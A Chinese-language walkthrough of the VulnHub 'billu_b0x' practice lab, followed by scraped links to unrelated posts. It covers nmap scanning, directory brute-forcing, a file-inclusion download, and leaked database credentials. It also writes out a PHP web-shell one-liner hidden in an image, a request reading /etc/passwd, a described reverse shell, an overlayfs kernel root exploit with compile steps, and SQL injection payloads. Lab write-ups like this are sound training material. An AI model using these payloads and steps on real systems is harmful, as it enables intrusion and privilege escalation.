https://www.vulnhub.com/

里面有很多安全环境,只要下载相关镜像,在虚拟机上面搭建运行就可以练习对应靶场了。

第一步、信息收集

nmap扫描内网开放80端口的存活主机  nmap - p 80 192.168.31.0/24

目标IP192.168.31.16

nmap -p 1-65535  192.168.31.16

目标主机端口探测(开放22端口【考虑可以尝试爆破root】、80端口开放)、且目标主机为linux系统、使用apache2.2中间件

第二步、web服务渗透与提权

提示sql注入,在手工尝试与sqlmap跑post包之后放弃了

御剑爆破一下后台目录

访问192.168.31.16/test.php

提示file参数为空

我们测试一下文件包含

尝试POST提交file=test.php此处为任意文件下载,将目录遍历出的文件全部下载开始代码审计

这里我们看到了文件包含漏洞造成得任意文件下载漏洞得  成因

我们继续下载御剑爆破出来的目录文件与审计代码中发现的文件

在c.php文件中发现了数据库和密码

我们加下来访问192.168.31.16/phpmyadmin失败 ,应该是目录改名了,改一下御剑的字典继续爆破,成功得到phpmyadmin地址phpmy

并成功获得了用户名和密码

我们先不登陆继续看下phpmy目录下有没有可以利用的文件

直接获得了mysql的用户名和密码我们链接下22端口

成功获得了root权限

那我们再回到刚才获得的web用户的账号和密码 看下是不是可以获得webshell

成功登陆后showuser的地方有两个头像火狐浏览器右键查看图像 看到图像地址

我们把头像下载下来

在文件尾部插入一句话

cmd命令马<?php system($_GET['cmd']); ?> 将文件上传成功。

接下来用burp抓一个post包

post请求url中加入执行命令的参数:POST /panel.php?cmd=cat%20/etc/passwd;ls

post的body中包含laodi.jpg图片马:load=/uploaded_images/cmd.jpg&continue=continue

命令被成功执行了

我们接下来利用该功能用bash反弹一个shell

bash反弹shell先进行url编码

在另一台主机上监听本地8888端口

反弹了一个www权限的shell

接下来肯定是提权了

写入一句话  目录不可写

那我们进入uploaded_images 目录试一下成功了

菜刀连接方便传文件(wget远程下载的话也可以)

看一下内核版本

接下来利用相关版本提权脚本Exploit Title: ofs.c - overlayfs local root in ubuntu

# Date: 2015-06-15

# Exploit Author: rebel

# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)

# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04

# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

Exp地址:https://www.exploit-db.com/exploits/37292

给我们上传的脚本一个777权限

Chmod  777  ./*    (或者chmod  777  yun.c)

gcc yun.c -o yun(编译脚本并重命名为yun)

./yun(运行编译后的脚本)

看下是root权限提权成功了

最后我们在回到这个sql注入上

str_replace的作用是将字符串\' 替换为空,因此构造SQL注入登录payload时,必须含有\'字符串,否则会报错。urldecode的作用是将输入解码。

测试payload为%27+or+1%3d1+--%5c%27没成功

' or 1=1 --\'依旧没有成功    于是我放弃了sql注入

billu_b0x靶场刷题的更多相关文章

  1. CTF学习路线指南(附刷题练习网址)

    PWN,Reverse:偏重对汇编,逆向的理解: Gypto:偏重对数学,算法的深入学习: Web:偏重对技巧沉淀,快速搜索能力的挑战: Mic:则更为复杂,所有与计算机安全挑战有关的都算在其中 常规 ...

  2. LeetCode刷题系列

    LeetCode 我们工作面试和提高自身数据结构和算法能力的时候往往需要刷刷题,我选择LeetCode是通过一个留学论坛了解的.专业,覆盖语种全面. 提前说说刷题的心得: 尽量手写代码,少使用IDE的 ...

  3. ife任务刷题总结(一)-css reset与清除浮动

    本文同时发布于本人的个人网站www.yaoxiaowen.com 百度创办的前端技术学院,是一个面向大学生的前端技术学习平台.虽然只有大学生才有资格报名,提交代码进行比赛排名.但是这并不妨碍我们这些初 ...

  4. 刷题ING...

    我用codeVS刷题.. 努力准备!!

  5. XidianOJ 1020 ACMer去刷题吧

    题目描述 刷题是每个ACMer必由之路,已知某oj上有n个题目,第i个题目小X能做对的概率为Pi(0<=Pi<=1,1<=i<=n) 求小X至少做对k道题的概率 输入 第一行输 ...

  6. 【BZOJ-4590】自动刷题机 二分 + 判定

    4590: [Shoi2015]自动刷题机 Time Limit: 10 Sec  Memory Limit: 256 MBSubmit: 156  Solved: 63[Submit][Status ...

  7. NOI题库分治算法刷题记录

    今天晚自习机房刷题,有一道题最终WA掉两组,极其不爽,晚上回家补完作业欣然搞定它,特意来写篇博文来记录下 (最想吐槽的是这个叫做分治的分类,里面的题目真的需要分治吗...) 先来说下分治法 分治法的设 ...

  8. NOI题库刷题日志 (贪心篇题解)

    这段时间在NOI题库上刷了刷题,来写点心得和题解 一.寻找平面上的极大点 2704:寻找平面上的极大点 总时间限制:  1000ms  内存限制:  65536kB 描述 在一个平面上,如果有两个点( ...

  9. 用js刷题的一些坑

    leecode可以用js刷题了,我大js越来越被认可了是吧.但是刷题中会因为忽略js的一些特性掉入坑里.我这里总结一下我掉过的坑. 坑1:js中数组对象是引用对象 js中除了object还有数组对象也 ...

随机推荐

  1. Code-NFine:NFine介绍

    ylbtech-Code-NFine:NFine介绍 1. NFine平台介绍返回顶部 1. 使用时请务必保留来源,请勿用于违反我国法律的web平台.如诈骗等非法平台网站.版权最终解释权归<NF ...

  2. E - Alice and Bob

    time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standa ...

  3. B - Preparing Olympiad

    Time Limit:2000MS     Memory Limit:262144KB     64bit IO Format:%I64d & %I64u Description You ha ...

  4. centos7安装redis3.2.12

    1.准备安装包,放在/usr/local/src/ 2.解压安装包,解压到/usr/local/ tar zxf redis-3.2.12.tar.gz -C /usr/local/ 3.cd /us ...

  5. android调用第三方库——第一篇 (转载)

    转自:http://blog.csdn.net/jiuyueguang/article/details/9447245 版权声明:本文为博主原创文章,未经博主允许不得转载. 0:前言: 这两天一直在研 ...

  6. 【WIP】iOS UIKit

    创建: 2018/04/10 更新: 2019/02/19 原来忘记分类,把此博文归入ios应用开发                            

  7. Cannot call value of non-function type 'UITextView'报错

    iOS里面的开发,类写到一半就报错这个.后来发现是因为重名的时候召唤对象不明确的问题.先贴代码,晚点再说 出错点 //ヒントをクリアするためのイニシャライザ init (clearStr: UITex ...

  8. = =写个prim希望能够巨巨们看的懂

    prim算法---典型的贪心算法 求最小生成树的算法 (Minimum Spanning Tree)最小生成树: 算法思想:设图G顶点集合为U,首先任意选择图G中的一点作为起始点a,将该点加入集合V, ...

  9. 我的spring-boot开发环境

    我的spring-boot开发环境,目的方便我快速搭建开发环境,同时可以最佳实践.使用spring-boot 2.1.x. 代码地址:GitHub my-springboot-examples 目的是 ...

  10. 多线程 线程间通信 wait,notify

    1. 方法wait锁释放,notify()锁不释放